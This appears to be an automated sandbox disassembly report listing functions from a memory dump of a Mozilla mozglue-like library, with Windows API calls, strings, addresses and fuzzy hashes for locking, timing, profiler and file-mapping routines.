Opcode Fuzzy Hash: 2e732854514daf8ce554ae0804ac7a4250ee9a91eba9b6935db45a4195ac0f77
Instruction Fuzzy Hash: CD71AE316043049FCB00CF2AC888B9ABBF5FF89354F658569E85A9B701DB34A945CF99

Function 6C62D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D52A
GetCurrentThreadId.KERNEL32 ref: 6C62D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D55F
free.MOZGLUE(00000000), ref: 6C62D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C62D5D3
GetCurrentThreadId.KERNEL32 ref: 6C62D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D652
GetCurrentThreadId.KERNEL32 ref: 6C62D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D6A2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction ID: 73cc5812aa1e2ad56b50234df0af105450e43b78cca1fe9e9d92928e4fe98561
Opcode Fuzzy Hash: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction Fuzzy Hash: 93519A71604705EFC704DF35C888A9ABBF4FF89358F508A2EE94A97710DB34A845CB99

Function 6C5D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EC1
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EE1
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F38
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5D1F83
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FC0
EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FE2
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D2019

Strings

Del, xrefs: 6C5D1F56
\el, xrefs: 6C5D1F3E
MOZ_CRASH(), xrefs: 6C5D2000
Del, xrefs: 6C5D1F32

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Del$Del$MOZ_CRASH()$\el
API String ID: 2055633661-1438815362
Opcode ID: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction ID: 7a937927a90424523d5a80ea1620a873e142cdb086cc4a0cf01fd730f9a760db
Opcode Fuzzy Hash: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction Fuzzy Hash: D741B071B043168FDF01CF69CC84B6A3AB5EB8A358F650025E90597741D775A804CBEE

Function 6C5F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F57BC
GetTickCount64.KERNEL32 ref: 6C5F58CB
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F58F3
__aulldiv.LIBCMT ref: 6C5F5945
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C65F638,?,?,?,?), ref: 6C5F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5F56CC

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction ID: 3993a73a985e7228754418fc0a024638683cec3c1b00afd32f6e60b43626766b
Opcode Fuzzy Hash: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction Fuzzy Hash: 1AC18E31A09740DFDB09CF29C88065ABBF1FFCA354F958A1DE4D457660D730A886CB86

Function 6C61EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EC8C

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61ECA1
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C61ECC5
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61ED19
CloseHandle.KERNEL32(?), ref: 6C61ED28
free.MOZGLUE(00000000), ref: 6C61ED2F
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C61EC94

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction ID: 6a1656a2faf969033ae06076eda4606af3c72a53ea480d86065bcaa933f2c1a7
Opcode Fuzzy Hash: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction Fuzzy Hash: 1221F6716041049BDF01DF2ADC48AAA77B9EF8636EFA44210FD1497F41DB31D8168BAE

Function 6C618ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C61B392,?,?,00000001), ref: 6C6191F4

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Strings

name, xrefs: 6C618F16
marker-table, xrefs: 6C61906C
timeline-ipc, xrefs: 6C619096
timeline-overview, xrefs: 6C61907A
data, xrefs: 6C6190E8
stack-chart, xrefs: 6C6190B2
marker-chart, xrefs: 6C61905E
timeline-memory, xrefs: 6C619088
timeline-fileio, xrefs: 6C6190A4

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction ID: 50f659b3ae74c031d584d068a7a3c2a133b141ec3ff5543edbc0b85253ab959f
Opcode Fuzzy Hash: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction Fuzzy Hash: B5B1D3B1A04209DBDB04CF98C8917EEBBB6AF85319F608019D402ABF80D771ED44CBD9

Function 6C5FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FCAA5

Strings

0, xrefs: 6C5FD30A
(null), xrefs: 6C5FC596

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction ID: 77fec1d1f78ecf1b974832e6b75ac76c7fffb63a22507b34b03b71bcfa9b0df6
Opcode Fuzzy Hash: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction Fuzzy Hash: 71A1A23060C3429FDB15DF29C98475ABBF1AF89748F04882DE9AA97741D771E806CF86

Function 6C5FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5FC891

Strings

nan, xrefs: 6C5FC7A8
INF, xrefs: 6C5FC794
inf, xrefs: 6C5FC78F
NAN, xrefs: 6C5FC7AD

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 907f04b1912fc1496c56399b081a7abcaa27022be1499a51e61b380234d4d502
Instruction ID: acc7409311998a132f8a4536c053cb384844f7aaab95953e1f8e23001d7c762b
Opcode Fuzzy Hash: 907f04b1912fc1496c56399b081a7abcaa27022be1499a51e61b380234d4d502
Instruction Fuzzy Hash: 3C5194709087448BD714EF2CC88169AFBF1BF8A308F408A2DE9E597650E771E9858F43

Function 6C5D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5D350E
__Init_thread_footer.LIBCMT ref: 6C5D3522
__aulldiv.LIBCMT ref: 6C5D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3592

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

kernel32.dll, xrefs: 6C5D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5D3508

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction ID: ff6c90751ecf899f450b2ba8a89e7fe0e4718e82eb8efba589af9a66fba505de
Opcode Fuzzy Hash: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction Fuzzy Hash: 8E31C471B012059BDF04DFBACD98AAE77B5FB86304F650419E501E3690EB70A905CF69

Function 6C5D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C614843,?), ref: 6C5D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C614843,?), ref: 6C5D468A
free.MOZGLUE(?,?,?,?,?,?,6C614843,?), ref: 6C5D46C9
free.MOZGLUE(?), ref: 6C5D46EF
free.MOZGLUE(?), ref: 6C5D4712
free.MOZGLUE(?), ref: 6C5D4735
free.MOZGLUE(?), ref: 6C5D4758
free.MOZGLUE(?), ref: 6C5D477B
free.MOZGLUE(?), ref: 6C5D479E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction ID: 6b4d7400da3f025c1cc641b2b122a39e568db534936918d755deeba5f8b02fb1
Opcode Fuzzy Hash: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction Fuzzy Hash: 94B1E571A002508FDB18CF3CDC9076D77A2AF81328F1A4669E416DBB96E731EC80CB85

Function 6C63AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C63AC52
CreateFileMappingW.KERNEL32 ref: 6C63AC7D
GetSystemInfo.KERNEL32 ref: 6C63AC98
MapViewOfFile.KERNEL32 ref: 6C63ACB0
GetSystemInfo.KERNEL32 ref: 6C63ACCD
MapViewOfFile.KERNEL32 ref: 6C63AD05
UnmapViewOfFile.KERNEL32 ref: 6C63AD1C
CloseHandle.KERNEL32 ref: 6C63AD28
UnmapViewOfFile.KERNEL32 ref: 6C63AD37
CloseHandle.KERNEL32 ref: 6C63AD43
CloseHandle.KERNEL32 ref: 6C63AD67

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction ID: ddc07e36fd5e50f32547a8b0577775114b9e7bcfdb4c27cac3422107b737a387
Opcode Fuzzy Hash: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction Fuzzy Hash: C03172B1A047048FDB00EFBDD68826EBBF0FF85305F55992DE98997211EB709449CB86

Function 6C5E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
ntdll.dll, xrefs: 6C5E96E3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction ID: 152b3323a961b0a00fb16486163bcb58ca1ba9b152b148bacdbeedcefa109258
Opcode Fuzzy Hash: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction Fuzzy Hash: F541ADB17002069FDF00DFA6ECD4E967BB4EB4A364FA04128ED0597740D730A818CFAA

Function 6C620000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C620039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C620041
GetCurrentThreadId.KERNEL32 ref: 6C620075
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C620082
moz_xmalloc.MOZGLUE(00000048), ref: 6C620090
free.MOZGLUE(?), ref: 6C620104
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C62011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C62005B

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 41febf1280d542bf00c1f50cc1416c548f6c04469fb0b74a9f921e777fc4bbb8
Instruction ID: acb9bc89188e51c682b24b7c22a77e3af54dea07d40e46c55615e0564070568f
Opcode Fuzzy Hash: 41febf1280d542bf00c1f50cc1416c548f6c04469fb0b74a9f921e777fc4bbb8
Instruction Fuzzy Hash: 42419FB5600344DFCB10CF65C884A9ABBF1FF8A318FA0452DE95A93B40D731A815CF9A

Function 6C5E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E7EA7
malloc.MOZGLUE(00000001), ref: 6C5E7EB3

Part of subcall function 6C5ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5ECB49
Part of subcall function 6C5ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5E7F19
malloc.MOZGLUE(?), ref: 6C5E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E7F4D

Strings

d, xrefs: 6C5E7F89

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
